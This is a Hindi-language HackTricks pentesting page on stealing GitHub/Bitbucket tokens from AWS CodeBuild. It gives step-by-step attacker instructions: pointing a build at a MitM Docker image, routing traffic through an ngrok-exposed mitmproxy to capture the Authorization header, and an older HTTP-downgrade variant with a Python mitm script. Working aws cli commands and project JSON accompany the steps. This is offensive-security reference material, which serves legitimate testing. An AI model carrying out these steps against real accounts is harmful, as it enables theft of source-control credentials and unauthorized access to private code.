AWS Codebuild - Token Leakage

HackTricks को समर्थन दें

Github/Bitbucket कॉन्फ़िगर किए गए Tokens पुनः प्राप्त करें

सबसे पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप leak कर सकते हैं:

aws codebuild list-source-credentials

Docker Image के माध्यम से

यदि आपको पता चलता है कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप Codebuild को विशिष्ट docker image का उपयोग करके प्रोजेक्ट का निर्माण करने के लिए बनाकर उस पहुंच (GH token या OAuth token) को निकाल सकते हैं।

इस उद्देश्य के लिए आप नया Codebuild प्रोजेक्ट बना सकते हैं या किसी मौजूदा प्रोजेक्ट के पर्यावरण को बदल सकते हैं ताकि Docker image सेट कर सकें।

आप जो Docker image उपयोग कर सकते हैं वह है https://github.com/carlospolop/docker-mitm। यह एक बहुत ही बुनियादी Docker image है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगा। यह आपको https_proxy और http_proxy में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने और SSL_CERT_FILE में निर्दिष्ट SSL CERT पर भरोसा करने की अनुमति देगा।

  1. अपनी खुद की Docker MitM image बनाएं और अपलोड करें

  • अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और docker image बनाएं

  • http_proxy सेट न करें ताकि मेटाडेटा एंडपॉइंट के अनुरोधों को इंटरसेप्ट न किया जा सके।

  • आप ngrok का उपयोग कर सकते हैं जैसे ngrok tcp 4444 अपने होस्ट पर प्रॉक्सी सेट करने के लिए

  • एक बार जब आप Docker image बना लेते हैं, तो इसे एक सार्वजनिक repo (Dockerhub, ECR...) पर अपलोड करें

  1. पर्यावरण सेट करें

  • एक नया Codebuild प्रोजेक्ट बनाएं या किसी मौजूदा प्रोजेक्ट के पर्यावरण को संशोधित करें

  • प्रोजेक्ट को पहले से जनरेट किए गए Docker image का उपयोग करने के लिए सेट करें

  1. अपने होस्ट में MitM प्रॉक्सी सेट करें

  • जैसा कि Github repo में संकेत दिया गया है, आप कुछ इस तरह का उपयोग कर सकते हैं:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxy संस्करण 9.0.1 का उपयोग किया गया था, यह बताया गया कि संस्करण 10 के साथ यह काम नहीं कर सकता है।

  1. बिल्ड चलाएं और क्रेडेंशियल्स को कैप्चर करें

  • आप Authorization हेडर में टोकन देख सकते हैं:

यह aws cli से भी कुछ इस तरह किया जा सकता है

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTP प्रोटोकॉल के माध्यम से

इस भेद्यता को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय ठीक कर दिया था (मुझे लगता है शुक्रवार को)। इसलिए अब एक हमलावर इसका दुरुपयोग नहीं कर सकता :)

एक हमलावर जिसके पास CodeBuild में उन्नत अनुमतियाँ हैं, वह Github/Bitbucket token को लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई थीं, तो कोड तक पहुँचने के लिए उपयोग किए गए अस्थायी OAuth token को लीक कर सकता है।

  • एक हमलावर CodeBuild प्रोजेक्ट में environment variables http_proxy और https_proxy को अपनी मशीन की ओर इंगित कर सकता है (उदाहरण के लिए http://5.tcp.eu.ngrok.io:14972)।

  • फिर, github repo के URL को HTTP का उपयोग करने के लिए बदलें, उदाहरण के लिए: **http://**github.com/carlospolop-forks/TestActions

  • फिर, https://github.com/synchronizing/mitm से बेसिक उदाहरण को उस पोर्ट पर चलाएं जो proxy variables (http_proxy और https_proxy) द्वारा इंगित किया गया है।

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • अंत में, प्रोजेक्ट को बिल्ड करें पर क्लिक करें, क्रेडेंशियल्स को स्पष्ट टेक्स्ट (base64) में mitm पोर्ट पर भेजा जाएगा:

अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, इसके सभी विशेषाधिकारों को सूचीबद्ध कर सकेगा और सीधे CodeBuild सेवा का उपयोग करने की तुलना में इसे (दुरुपयोग) करना आसान होगा।

HackTricks को समर्थन दें

Last updated